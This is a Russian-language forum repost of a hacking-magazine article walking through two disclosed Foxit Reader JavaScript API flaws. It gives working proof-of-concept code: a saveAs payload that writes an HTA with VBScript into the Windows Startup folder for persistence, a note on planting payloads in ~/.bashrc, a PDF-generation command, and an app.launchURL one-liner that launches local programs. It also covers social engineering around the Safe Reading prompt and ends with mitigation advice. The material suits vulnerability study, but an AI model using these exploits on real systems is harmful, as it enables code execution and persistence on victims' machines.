Инструкция Используем уязвимость FoxitReader и исполняем произвольный код

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

virt

Уважаемый пользователь
Форумчанин
Регистрация
24.11.2016
Сообщения
441
Репутация
146
#1
Foxit Reader — популярная программа для просмотра PDF. Занимает мало, работает быстро и для многих пользователей полностью заменяет неповоротливый Adobe Acrobat. Одна беда — вот уже четыре месяца его разработчики не могут закрыть дыру, которая позволяет исполнять произвольный код из вредоносного PDF. Сейчас я покажу, что это за дыра и как ее эксплуатировать.

Общие сведения

Впервые проблемы были обнаружены исследователями Стивеном Сили (Steven Seeley) и Арьеле Кальтабиано (Ariele Caltabiano). Найдя уязвимость, они отправили репорты вендору через платформу Zero Day Initiative (ZDI) еще в мае этого года. Однако разработчики из Foxit до сих пор не внесли исправлений, и, когда дедлайн в 120 дней истек, детали отчетов были опубликованы в блоге ZDI.

Красота уязвимостей в их простоте — это не повреждение памяти и не переполнения, которые обычно встречаются в проприетарном ПО. Причиной проблем стал встроенный в просмотрщик PDF документов JavaScript API.

Сам формат PDF позволяет создавать документы с динамическим контентом, и один из вариантов — делать это при помощи JavaScript. Чаще всего эта возможность применяется в том случае, если содержимое документа должно меняться в зависимости от каких-либо событий, либо для ограничения действий пользователя при заполнении форм.

Изначально спецификация JavaScript API была разработана компанией Adobe для расширения возможностей своего просмотрщика. Затем поддержка большей части функций перекочевала и в сторонние редакторы, такие как Foxit Reader.

Однако некоторые особенности реализации JavaScript API в Foxit вызывают вопросы. Так, из-за некорректной или отсутствующей фильтрации пользовательских данных в функциях API атакующему открывается возможность сгенерировать такой PDF, при открытии которого просмотрщик выполнит произвольный код или запишет файл с произвольным содержимым в любое место на диске.

Давай посмотрим на практике, как это можно проэксплуатировать.

Тестовый стенд

В качестве хостовой ОС я буду использовать Windows 10 х64. Однако уязвимости платформонезависимы, так что все операции с минимальными изменениями будут успешно работать и на машинах с Linux.

Разумеется, нам понадобится Foxit Reader. На момент написания статьи последняя и по совместительству уязвимая версия была 8.3.1.21155. Версии до нее тоже уязвимы.


Уязвимая версия Foxit Reader

Для отладки я буду использовать Immunity Debugger, а для дизассемблирования — IDA 6.6 Pro. Но это мой личный выбор, ты можешь взять любые инструменты, к которым лежит сердце.

Также нам нужно чем-то генерировать PDF. Для этих целей я прихватил питоновскую утилиту make-pdf производства Didier Stevens Labs.

Сразу оговорюсь, что в Foxit Reader используется режим безопасного просмотра (Safe Reading). Он создан как раз для предотвращения подобного типа атак и включен по умолчанию после установки.


Safe Reading по дефолту включен после установки

Однако при открытии файла, который содержит JavaScript, программа спросит, отключить ли режим безопасного просмотра документа.


Почти безобидное окно с запросом на отключение режима безопасного просмотра документов

Как по мне, так это окно не внушает особого страха пользователю и не доносит всей опасности выключения режима Safe Reading. К тому же галочки услужливо установлены в нужные атакующему позиции. Если нажать на OK, то безопасный просмотр отключится не только для текущей сессии, но и глобально, для всех последующих запусков приложения.

Ну и конечно, никто не отменял социальную инженерию.

Запись файлов с произвольным содержимым

Первый баг забрался в API-функцию saveAs. Легенда гласит, что эта функция позволяет сохранять в указанное место текущий документ в формате PDF. На деле же не проверяется ни путь, по которому сохраняется файл, ни его расширение. Формат вызова функции такой:

this.saveAs(path);

Вот как выглядит дизассемблированный кусок кода, который выполняет запись файла.


Часть функции saveAs, записывающей данные в файл

Попробуем записать файл в ту же директорию, в которой находится файл. Для этого создадим новый PDF со следующим кодом на JavaScript:

this.saveAs("exploit.exe");

Сохраняем этот код в отдельный файл saveas-poc.js и генерируем PDF с помощью make-pdf.

python27 make-pdf-JavaScript.py -f saveas-poc.js saveas-poc.pdf

Затем открываем получившийся файл.


Ситуация после запуска PoC для функции saveAs

Как ты можешь видеть, после запуска saveas-poc.pdf Foxit Reader сохраняет этот документ с новым названием exploit.exe и выводит на экран уже его.

Как можно проэксплуатировать это, чтобы получить какой-нибудь профит? API предоставляет обширный плацдарм для экспериментов. Например, можно сохранить файл в папку автозагрузки. Используем UNIX-подобные пути:

/c/Users/<username>/AppData/Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/
А чтобы узнать текущего пользователя, от которого выполняется открытие документа, можно использовать замечательную переменную identity.loginName. Очень удобно.

Валидный .exe таким методом, разумеется, не сформировать. Но это и не требуется, потому что можно использовать HTML Application (HTA).

В недавней статье про уязвимость в продуктах Microsoft Office я уже рассказывал про него. В двух словах: это обычный HTML с привилегиями, которые позволяют выполнять VBScript. А это, как ты понимаешь, прямой путь к RCE. Вот кусок кода, который запустит калькулятор:

Set shell = CreateObject("Wscript.Shell")
shell.Run "calc.exe"

Теперь нужно записать это в скрипт на JS и сгенерировать новый PDF с нагрузкой.

saveas-poc.js
1: /*
2: <script language="VBScript">
3: Set shell = CreateObject("Wscript.Shell")
4: shell.Run "calc.exe"
5: </script>
6: */
7:this.saveAs("/c/Users/"+identity.loginName+"/AppData/Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/exploit.hta");

Успешная эксплуатация функции saveAs

После перезагрузки наша полезная нагрузка отработает, и ты увидишь калькулятор, как на скриншоте выше.


Отладка Foxit Reader в момент записи файла через метод saveAs()

Для Linux-машин таким же образом можно писать пейлоад, например в файл ~/.bashrc.

Здесь все, теперь переходим к более интересной функции.


Выполнение произвольного кода

Функция с говорящим названием app.launchURL куда более эффективна с точки зрения возможного импакта. Она создана для того, чтобы открывать в окне браузера переданный в параметрах URL. Только вот разработчики по-своему поняли URL и не добавили никакой валидации. Благодаря этому возможно использовать локальные пути и, как следствие, запускать любые приложения.

Уязвимость обнаружил Арьеле Кальтабиано (Ariele Caltabiano) и немало повеселился, так как точно такую же уязвимость он находил в Adobe Reader аж в 2015 году. Годом позже она была успешно запатчена, а вот ребятам из Foxit еще предстоит это сделать.

Итак, процедура выполнения функции заканчивается вот таким чудесным кодом.


Дизассемблированный кусок кода функции app.launchURL

Таким образом, app.launchURL не только не проверяет отправленные ей данные, но и передает полный путь в ShellExecuteW с аргументом open.

Все, что требуется от атакующего, в роли которого в данный момент выступаем мы с тобой, — это сформировать документ с одной-единственной строчкой на JS:

launchurl-poc.js

1: app.launchURL("C://WINDOWS//system32//mspaint.exe");
Здорово, не правда ли? Генерируем PDF уже по знакомому нам рецепту и открываем получившийся файл.


Отладка функции app.launchURL. Перед самым запуском приложения

Самое интересное: если ты попытаешься использовать эту функцию по прямому назначению, а именно открыть какой-то сайт, Foxit Reader ругнется на то, что документ пытается отправить тебя в небезопасные края.


Предупреждение о переходе в незащищенную область при легитимном использовании

app.launchURL
Я думаю, не стоит объяснять, как можно использовать уязвимость такого типа. Простор для творчества тут просто огромный.


Успешная эксплуатация функции app.launchURL

Демонстрация эксплуатации уязвимости (видео)




Заключение

Вот мы и посмотрели на две уязвимости, которые при кажущейся простоте очень опасны для пользователя и позволяют полностью скомпрометировать его систему.

Хочу добавить, что разработчики Foxit не собирались патчить эти баги. Они считают, что включенный по умолчанию режим Safe Reading — это панацея, и рекомендуют использовать его, чтобы избежать подобных проблем. Однако после публикации этих отчетов в блоге ZDI ребята зашевелились и обещали-таки выпустить патч.

А пока, если ты пользуешься Foxit Reader, могу посоветовать не открывать подозрительные файлы, не соглашаться на отключение режима безопасного просмотра документов или вообще пока что вырубить исполнение скриптов от греха подальше.


Настройка, отвечающая за выполнение JavaScript в документах

Оригинал:Капкан на лису. Выполняем произвольный код из PDF через уязвимость в Foxit Reader - «Хакер»
 
Вверх